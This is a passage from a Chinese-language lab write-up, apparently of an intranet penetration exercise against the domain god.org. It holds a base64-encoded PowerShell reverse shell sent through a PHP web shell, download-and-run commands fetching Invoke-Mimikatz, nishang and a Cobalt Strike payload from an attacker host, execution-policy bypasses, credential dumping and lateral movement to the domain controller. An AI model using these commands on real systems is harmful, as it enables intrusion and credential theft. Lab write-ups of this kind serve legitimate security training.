http://192.168.81.239/lingx5.php?code=system(base64_decode("cG93ZXJzaGVsbCAtbm9wIC1jICIkY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCcxOTIuMTY4LjgxLjM3Jyw4ODg4KTskc3RyZWFtID0gJGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVtdXSRieXRlcyA9IDAuLjY1NTM1fCV7MH07d2hpbGUoKCRpID0gJHN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXs7JGRhdGEgPSAoTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRieXRlcywwLCAkaSk7JHNlbmRiYWNrID0gKGlleCAkZGF0YSAyPiYxIHwgT3V0LVN0cmluZyApOyRzZW5kYmFjazIgPSAkc2VuZGJhY2sgKyAnUFMgJyArIChwd2QpLlBhdGggKyAnPiAnOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX07JGNsaWVudC5DbG9zZSgpIg==")); 

成功弹回 shell

image-20240905085444553

撞大运了弹回来直接就是 system 权限的用户,省的提权了

获得 shell,先改编码格式

chcp 65001

四、域信息搜集

查看网卡
ipconfig /all

image-20240905091531456
image-20240905091609880

发现一块
192.168.52.0
网段的网卡,应该就是域对应的内网网卡,本机的 hostname 和域的信息也可以看到

系统信息
systeminfo

image-20240905091928827

看到 domian 字段是
god.org
代表这是域内的机器。

普通机器的默认字段是:
WORKGROUP

也可以看到机器打过补丁的一些信息,还有网卡信息

路由信息
route pirnt

image-20240905091322341

其他主机信息
net view

image-20240905092230684

查看域管理员

image-20240905092951993

五、域渗透

我们通过信息收集,知道了域控主机是
owa
,域名为
god.org

查看域控主机 ip

ping owa.god.org

image-20240905094056717

看到域控 ip 为
192.168.52.138

使用 mimikatz 进行密码抓取

1)上传 Invoke-mimikatz.ps1

Invoke-mimikatz.ps1 连接:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1

开启 http 服务

php -S 0:80

查看机器的 powershell 版本信息

$PSVersionTable.PSVersion

因为 powershell3.0 前后的命令有些许的差别

image-20240905102653425

目标机器上的 powershell 是 2.0 版本的 而
Invoke-WebRequest
cmdlet 是从 PowerShell 3.0 开始引入的

我们使用.NET 类
System.Net.WebClient
来实现下载功能

powershell -command "& {(New-Object System.Net.WebClient).DownloadFile('http://192.168.81.37/Invoke-Mimikatz.ps1','c:\program files\Invoke-Mimikatz.ps1')}"

image-20240905140642822

在 http 服务处看到上传成功

上传到了
c:\program files
目录下

cd c:\'program files'
dir

image-20240905140800334

看到上传成功了

当然在 mimikatz 也是需要做免杀的,不然对它的操作也是会触发杀毒软件的

2)运行 mimikatz

在 powershell 中运行 Invoke-Mimikatz.ps1 首先我们要解除执行策略

Get-ExecutionPolicy

Restricted
:不允许任何脚本运行。

AllSigned
:只运行由受信任的发布者签名的脚本。

RemoteSigned
:本地创建的脚本可以运行,远程下载的脚本必须是签名的。

Unrestricted
:允许所有脚本运行,但运行从互联网下载的脚本时会有警告。

我们设置为
RemoteSigned
即可

Set-ExecutionPolicy RemoteSigned -Scope CurrentUser

image-20240905142321237

当然也可是使用
Bypass
这个参数进行单次命令的绕过

导入

Import-moudle .\Invoke-Mimikatz.ps1

加载

.\Invoke-Mimikatz.ps1

执行

Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords"

没有反应了

理论上 应该是可以正常抓取密码的,这台靶机我打着也有很多问题。

尝试解决问题(失败)

觉得会不会是用 php 执行代码返回来的 powershell 不是很稳定导致的

我们用 nishang 的 tcp 的脚本,反弹回来的会不会更加稳定呢?尝试用
nishang
反弹

sudo apt install nishang

输入命令 nishang 就可以看到目录

nishang
cd Shells

看到
Invoke-PowerShellTcp.ps1
文件

sudo vi Invoke-PowerShellTcp.ps1

在它的文件底部加上反弹 shell 的语句

Invoke-PowerShellTcp -Reverse -IPAddress 192.168.81.37 -Port 4444

image-20240905183220791

就是等他加载到内存中去执行反弹 shell 的逻辑

kali 监听,同时开启 http 服务

nc -lvp 4444

php -S 0:80

在命令行执行

powershell -command "& {(new-object system.net.webclient).downloadfile('http://192.168.81.37/Invoke-PowerShellTcp.ps1','c:\Invoke-PowerShellTcp.ps1')}" ; c:\Invoke-PowerShellTcp.ps1

image-20240905191100176

下载成功,收到反弹 shell,但是和之前的 shell 是一样的,还是不能运行 mimikatz.ps1

3)更换思路(使用 cobalstrike)

启动 cs

./teamserver localhost 123456
./cobalstrike

生成木马,并上传

powershell -ExecutionPolicy Bypass -command "& {(New-Object System.Net.WebClient).DownloadFile('http://192.168.81.37/artifact.exe', 'C:\Users\Public\artifact.exe')}"

image-20240908140727778

启动
artifact.exe

cmd.exe /c ".\artifact.exe" 

image-20240908141454607

成功上线

image-20240908141543698

端口扫描

image-20240908141817252

image-20240908141906193

看到

image-20240908142258719

image-20240908142321629

运行 mimikatz

image-20240908142720247

image-20240908142808061

看到域控
owa
的密码
hongrisec@2022

六、获得域控

已经有了域控管理员的密码拿到域控就简单了

在 cs 上创建 SMB 监听

image-20240908143836586

直接 jump

image-20240908143908306

看到域控上线了

image-20240908144157561

域控拿到了,这个域我就随便走了

跳到 141 主机

image-20240908144330710

image-20240908144527049

成功拿下三台

image-20240908145009742

总结

  1. 通过 nmap 扫描看到目标 web 服务器开放了 80,135,3306 等端口,通过对 80 端口的目录爆破,弱口令的 fuzz,发现了 phpmyadmin 的后台,并成功登陆。
  2. 利用数据库的日志输出,写入了一句话木马,成功反弹了 powershell 的命令行,因为 powershell2.0 命令行的缺陷,在域渗透信息收集的时候遇到了 mimikatz 不能使用的情况,尝试解决但失败了。
  3. 最后使用了 cobalstrike 的集成化工具完成了对域控的横向移动,成功获得域控管理员权限。